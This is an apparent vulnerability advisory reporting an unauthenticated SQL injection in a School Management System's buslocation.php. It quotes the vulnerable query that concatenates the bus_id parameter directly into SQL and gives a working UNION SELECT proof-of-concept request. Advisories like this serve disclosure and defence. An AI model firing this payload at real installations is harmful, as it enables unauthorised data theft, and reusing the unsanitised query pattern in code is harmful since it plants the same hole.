Unauthenticated SQL Injection in School Management System
输入“/”快速插入内容
Unauthenticated SQL Injection in School Management System
Unauthenticated SQL Injection in School Management System
用户407用户4074月6日修改
BUG_Author: EthX0_
Vulnerability Files:
•
buslocation.php
Description
Unauthenticated SQL Injection (SQLi):
A critical SQL Injection vulnerability exists in the buslocation.php file within the student_panel directory of the School Management System. The application fails to properly sanitize or parameterize user-supplied input before using it in a database query.
Specifically, on line 54 of student_panel/buslocation.php, the bus_id HTTP GET parameter is directly concatenated into the SQL statement: $sql = "SELECT * FROM bus_root WHERE bus_id='{$_GET['bus_id']}'";
Poc
代码块
GET /student_panel/buslocation.php?bus_id=1'%20union%20select%201,2,database(),4,5--%20 HTTP/1.1
Host: <target-ip>
At this point, you can see that the database name has been echoed back on the page.
Impact:
This is a high-severity vulnerability. Successful exploitation allows a remote attacker to bypass intended database query logic. The immediate impact includes:
•
Data Breach: Attackers can read sensitive data from the database, including administrator and user credentials (password hashes), personal information, and system configurations.
•
Data Modification/Deletion: Depending on database permissions, attackers might be able to modify or delete data, leading to a loss of integrity and availability.
Exploitability
Direct, Unauthenticated